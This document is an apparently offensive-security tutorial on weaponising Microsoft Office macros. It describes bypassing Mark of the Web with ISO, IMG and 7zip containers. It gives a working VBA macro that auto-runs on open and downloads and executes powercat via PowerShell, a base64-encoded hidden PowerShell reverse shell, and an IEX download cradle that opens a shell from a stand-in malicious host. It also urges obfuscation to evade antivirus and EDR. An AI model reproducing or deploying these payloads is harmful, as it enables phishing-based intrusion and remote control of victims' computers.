Malicious Macros

Threat actors have been using malicious Office macros to compromise companies for as long as time. Here's some important information & techniques we can use with modern macros.

Macros

Microsoft Office applications allow us to embed macros, which are commands and instructions that complete a task. This can be linking documents, loading libraries, or other legitimate tasks that help companies manage their programs.

Macros are one of the oldest and best-known client-side attack vectors.

Introduction - Theory & Goals.

The threat landscape for Microsoft Office is relatively vast.

I won't be including the steps on installing Office, though I might add a VM Image here in the future that includes a free trial for us to use.

Mark Of The Web (MOTW) - Zone Identifier Alternate Data Stream

Zone Identifier Alternate Data Stream's are information on a the origins of a file. This is used by administrators and system monitoring tools to protect users from possible malicious software.

Windows Defender Smartscreen

Microsoft Office

Microsoft Excel includes an "Enable" switch for macros.

Microsoft Word blocks Macros entirely.

Bypassing MOTW

Luckily for us, it's Microsoft we're targeting. So there are plenty of ways to bypass this.

Containerizing Files

We can avoid being flagged by MOTW by using 7zip, ISO, IMG, and other containerized file formats.

Building a Malicious Office Macro

We will start by creating an empty Office Word document and navigating to View -> Macro.

We go Macro -> Document Name -> Create.

We are brought to the Visual Basic for Applications IDE.

We can Instantiate and Invoke a Windows Script with CreateObject. In this example we run PowerShell.

We specify AutoOpen() and Document_Open() to automatically run the macro when the office document is opened.

Sub AutoOpen()

  dangerousMacro
  
End Sub

Sub Document_Open()

  dangerousMacro
  
End Sub

Sub dangerousMacro()

  Dim command as String = "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.194:8000/powercat.ps1');"

  CreateObject("Wscript.Shell").Run "powershell.exe " + command
  
End Sub

Essential Techniques

Like any successful malware, proper obfuscation techniques is essential for bypassing AV / EDR. View "Malware Development" for more resources.

Powershell Reverse Shell

CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADEAOQA0ACIALAA5ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")

Fetch From Web Server:

IEX(New-Object System.Net.WebClient).DownloadString('http://malicious-host.com/badass_script.ps1');badass_script -c <our-ip> -p 4444 -e powershell